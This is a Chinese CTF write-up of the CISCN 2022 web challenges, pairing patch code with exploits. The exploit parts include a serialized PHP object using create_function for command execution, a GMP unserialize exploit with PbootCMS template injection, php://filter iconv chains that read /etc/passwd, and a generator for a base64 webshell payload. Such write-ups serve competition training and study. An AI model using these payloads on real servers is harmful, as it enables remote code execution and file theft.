第十五届全国大学生信息安全竞赛 Web wp

·
CTFWP no tag September 7, 2022

前言

很荣幸在2022年第十五届全国大学生信息安全竞赛中,0RAYS团队夺得亚军。以下是我在本次比赛中做web题目时的理解以及赛后思考。学到很多东西
http://www.ciscn.cn/upload/file/20220901/1661998539187617.pdf

web_unserialize_game

1.fix

<?php

class Game
{
    private $a;
    protected $b;

    public function __construct($a, $b)
    {
        $this->a = $a;
        $this->b = $b;
        $this->check($a, $b);

    }


    public function __destruct()
    {
        $a = (string)$this->a;
        $b = (string)$this->b;
        $this->check($a, $b);
        $a("", $b);
    }


    private function check($a, $b)
    {
        if (preg_match_all("(eval|dl|ls|p|escape|er|str|cat|flag|file|ay|or|ftp|dict|\.\.|h|w|exec|s|open)", $a) > 0) die("Hacker!");
        if (preg_match_all("(find|filter|c|pa|proc|dir|regexp|n|alter|load|grep|o|file|t|w|insert|sort|h|sy|\.\.|array|sh|touch|e|php)", $b) > 0) die("fl4g?");
    }

    public function setAB($a, $b)
    {
        $this->a = $a;
        $this->b = $b;
    }
}
$a = new Game("create_function","}var_dump(`/???/????64 /fl4g1`);//");
echo  urlencode(serialize($a));

2.break

<?php
class Game
{
    private $a;
    protected $b;
    public function __construct($a, $b)
    {
        $this->a = $a;
        $this->b = $b;
        $this->check($a, $b);
    }


    public function __destruct()
    {
        $a = (string)$this->a;
        $b = (string)$this->b;
        $this->check($a, $b);
        $a("", $b);
    }


    private function check($a, $b)
    {
        if (preg_match_all("(eval|dl|ls|p|escape|er|str|cat|flag|file|ay|or|ftp|dict|\.\.|h|w|exec|s|open)", $a) > 0) die("Hacker!");
        if (preg_match_all("(find|filter|c|pa|proc|dir|regexp|n|alter|load|grep|o|file|t|w|insert|sort|h|sy|\.\.|array|sh|touch|e|php)", $b) > 0) die("fl4g?");
    }
    public function setAB($a, $b)
    {
        $this->a = $a;
        $this->b = $b;
    }
}
$a = new Game("create_function","}var_dump(`/???/????64 /fl4g1`);//");
echo urlencode(serialize($a));

web_soeasy_4_u

1.fix

<?php error_reporting(0);
session_start();

if (preg_match("/\.\.|flag|etc/i", $_POST['avatarHash'])) {
    die();
}

if(isset($_POST['avatarHash']) && $_POST['avatarHash'] != "")
    $_SESSION['avatar'] = $_POST['avatarHash'];
$_SESSION['name'] = $_POST['name'];
$_SESSION['slogan'] = $_POST['slogan'];
$_SESSION['email'] = $_POST['email'];
$_SESSION['accept'] = $_POST['accept']; die(json_encode(array('code' => 0, 'data' => array( ))));

2.break

头像那里可以读取文件,save.php可以赋值
image-20220906095941747

web_just

1.fix

吐槽一句:这个fix好像出题人写的chekc有问题。我其实没修到漏洞点,也过了。。

<?php exec('rm /tmp/php*');
include "init.php";
function wafsqli($str){
    return !preg_match("/select|and|\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleexml|extractvalue|+|regex|copy|read|file|create|grand|dir|insert|link|server|drop|=|>|<|;|\"|\'|\^|\|/i", $str);
}
if(!isset($_COOKIE['ser_data']))
{
    setcookie('ser_data',base64_encode(serialize('guest')));
    header('Location: /', true, 302);;
} else {
    $name=unserialize(base64_decode($_COOKIE['ser_data']));
    if(!is_string($name)||!ctype_alnum($name)){ $name='guest'; }
    if(!wafsqli($_POST['num1']))
    {
        exit();
    }
    if(!wafsqli($_POST['num2']))
    {
        exit();
    }
    if(isset($_POST['num1'])&&isset($_POST['num2'])){ $num1=$_POST['num1'];
        $num2=$_POST['num2'];
        if(is_numeric($num1)&&is_numeric($num2))
        {
            $res=gmp_strval(gmp_add($num1,$num2));
        } else{
            $res="correct_input_is_needed";
        }
    } else{
        $res="input_is_needed";
    }
    $template->name=$name;
    $template->res=$res;
    $template->display();
}

2.break(赛后)

break当时没做出来,当时根本就没发现有www.zip。。我的源码是从fix里读到的。

这个题涉及到的知识点
http://tttang.com/archive/1395/
题目源码地址
https://github.com/zhcy2018/ciscn2022-build

这个题在比赛的时候放出了hint,GMP拓展漏洞
这里可以参考https://xz.aliyun.com/t/6781

通过靶机我们可以知道PHP版本

且存在反序列化点

同时发现存在eval

因此可以推断出是这个GMP拓展漏洞。
这里的解析模板其实是pbootcms的

https://xz.aliyun.com/t/8663

这里如果我们可以控制$head,那么就可以控制$data,进而控制eval里面的内容。就可以rce了。

我们可以自己先试试绕过waf。
这里根据正则传参

可以看到这里对test1进行函数过滤

就是只允许函数里面有date函数。
下面继续对test1进行过滤

不允许有waf里面的东西。可以看到过滤了许多函数。
最终执行的语句

我们要做的就是让test1绕过上面的waf达成RCE。首先看一下什么危险函数可以用
最终发现require,readfile可以用

于是可以使用文件包含进行读文件。这里因为readfile是函数。所以不能用。只能使用require这种语言结构。因此我尝试

parserIfLabel('{pboot:if(require "php://filter/convert.base64-encode/resource=C:\Windows\win.ini")}test2{/pboot:if}');

发现成功读取。但是这个题要我们RCE,于是想到了文件读取RCE的姿势。
此时很多人会想到pearcmd。但是很不巧这里被出题人禁用了。。这里题目使用的是字符集这个姿势。于是:

php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd

这个是先知文章给出的payload
``

a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}

吐槽一下,其实这个payload是有一点问题的i前面应该有个分号。。

<?php  
  
$string='{pboot:if((require ("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd")))}test2{/pboot:if}';  
  
//$string = "{pboot:if(require \"php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd\")}test2{/pboot:if}";  
$inner = 's:1:"1";a:2:{s:4:"head";s:'.strlen($string).':"'.$string.'";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';  
$exploit = 'a:1:{i:0;C:3:"GMP":' . strlen($inner) . ':{' . $inner . '}}';  
echo $exploit;


其中,如果用http://tttang.com/archive/1395/#toc_craft-base64-payload
这篇文章的payload的话会报错。

说是没有这个iconv字符集,这里这道题的wp给出了另一种payload。

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=/tmp/phpinfo.txt";

// echo $final_payload;
require($final_payload);

这个payload对环境比较适配。测试可以在自己服务器打通(centos7)

当然 如果想fuzz其他字符可以使用这个项目https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

web_backdoor

1.fix

<?php
error_reporting(E_ERROR);
class backdoor {
    public $path = null;
    public $argv = null;
    public $class = "stdclass";
    public $do_exec_func = true;

    public function __sleep() {
        if (file_exists($this->path)) {
            return include $this->path;
        } else {
            throw new Exception("__sleep failed...");
        }
    }

    public function __wakeup() {
        if (
            $this->do_exec_func &&
            in_array($this->class, get_defined_functions()["internal"])
        ) {
            call_user_func($this->class);
        } else {
            $argv = $this->argv;
            $class = $this->class;

            new $class($argv);
        }
    }
}

$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

$rce_blacklist = "/`|new|var_dump|str_rot13|serialize|base64_encode|base64_decode|strrev|eval\(|assert\(|file_put_contents|fwrite|curl_exec\(|passthru\(|exec\(|dl\(|readlink|popepassthru|preg_replace|create_function|array_map|call_user_func|array_filter|usort|stream_socket_server|pcntl_exec|passthru|exec\(|system\(|chroot\(|scandir\(|chgrp\(|chown|shell_exec|proc_open|flag|proc_get_status|popen\(|ini_alter|ini_restore|ini_set|LD_PRELOAD|_GET|_POST|_COOKIE|_FILE|ini_restore|ini_set/i";

foreach (array('_GET', '_POST', '_COOKIE') as $key) {
    if ($$key) {
        foreach ($$key as $key_2 => $value_2) {
            if (preg_match($rce_blacklist, $value_2)) {
                die();
            }
        }
    }
}


switch ($cmd) {
    case 'unserialze':
        unserialize($data);
        break;

    case 'rm':
        system("rm -rf /tmp");
        break;

    default:
        highlight_file(__FILE__);
        break;
}

2.break(赛后)

当时是0解题,没看放个出题人wp
https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md

web_ezgo

1.fix

这道题因为自己逆不出来那个go二进制文件。此时学弟说能不能写个程序让他过check。。然后我就开始写代码。没想到还真成了 拿了一血。。+750分。。爽

以下是我fix的代码

package main

import (
    "github.com/gin-gonic/gin"
    "strconv"
)

func main() {
    r := gin.Default()
    r.LoadHTMLFiles("html/index.html", "html/result.html")

    r.GET("/", func(c *gin.Context) {

        //c.JSON(200,gin.H{"message": "pong"})
        c.HTML(200, "index.html", "")
    })

    r.GET("/api/ping", func(c *gin.Context) {

        c.JSON(200,gin.H{"message": "pong"})
        //c.HTML(200, "index.html", "")
    })
    r.POST("/api/add", func(c *gin.Context) {
        a := c.DefaultPostForm("a", "0")
        b := c.DefaultPostForm("b", "0")

        int1, _ := strconv.Atoi(a)
        int2, _ := strconv.Atoi(b)
        ccc := int1+int2


        a2 := strconv.Itoa(ccc)


        c.JSON(200,gin.H{"result": a2})
    })
    r.Run("0.0.0.0:8000")
}

其实就实现了一个加法,一个ping返回pong的功能。
第一天也是运气比较好,拿了第一。

第二天

吐槽一下,第二天被环境折磨了几个小时。他必须等几分钟才能进行下一步操作。导致浪费很多时间。。

web_Houtai

1.fix

看别人说是把俩child_process修了就行。我这里是加过滤

const blacklists = [`"`,`{`, `$`,`'`, `^`, `~`, `.`, `\\`, `|`, `;`, `>`, `<`, `[`, `]`, `,`, `-`, `_`, `!`, `*`, `(`, `)`, `\``, `{`, `}`];

web_flasf

1.fix

这里是url.open有漏洞 改成request即可。

            res = request.get(url)
            return res.content()

web_即将上线的项目

这个题做很简单,但是修不容易

防御:黑客不会写马,也不存在任何写文件操作。但是由于项目中无法禁止system函数,因此黑客攻击流量混在正常命令执行中,check中会执行各种各样的命令来保证项目的正常运转,需要提醒的是,system函数被禁用是会导致check不过的,系统中存在各种各样的项目自建文件,但真正的flag文件只在/目录下。我们的目标是绝对不可以让黑客获取到真正的flag文件,所以你会怎么修补呢?

web_即将上线的项目 流量篡改。

给出的hint说是流量篡改。

web_thinkcmf(赛后)

拿到源码先跟原版对比。版本为5.1.7。5.1.7为5版本的最后一个版本。此后thinkcmf升级为6.0.3版本。
image-20220901155140334
差的不是很多。主要是在data的数据目录一些配置文件。缓存文件。以及一些出题人禁止的函数等。

题目在Runtime其实给出了提示:

告诉了我们题目的触发位置。我们尝试访问

搜索报错信息定位代码位置:

然后开始断点分析。

通过题目给出的日志以及代码。可以初步确定题目的传入参数点。那么就接着往下看。
$dataSource = json_decode(base64_decode($dataSource), true);
这里会对传入的参数进行base解码和json解码。继续往下看

这里有个action函数,可以调用任意模块。

这里解释一些概念

这里的admin,portal,user是模块名。app下的文件夹叫做模块。比如默认模块就是portal,所以访问/其实就是访问/portal

下面还有默认的控制器名,以及操作名,所以访问http://thinkcmf/就相当于访问了http://thinkcmf/portal/Index/index

这里分别是控制器名和操作名。控制器的后缀是在app.php中说明了的。

我们尝试访问http://thinkcmf/portal/Index/index1
记录一下访问的命名规则。

这里其实就是文件目录了。
我们先随便传一个{"api":"1\/2\/3\/4"}看看访问规则

这里就可以看出它可以调用什么了。这里其实就是在app下调用任意模块的api目录下文件任意函数

但是如果只调用Api结尾是不够的。因为我们达不成目的。Api实在太少了。因此我们尝试审计源码


跟进controller。再跟进parseModuleAndClass

可以看到当$name里存在\时候,会立即返回 name 为我们的class

否则就必须后缀为Api。

{"api":"think\\Collection\/__construct"}

这样就可以调用__construct方法。其他的同理

所以我们现在可以调用任意的方法了。但是参数只能为一个数组。

最终找到了这个地方。

Console.php

{"api":"think\\Console\/getDefinedCommands"}

这里可以包含php文件。因此想到了包含pearcmd。

尝试发现可以写马

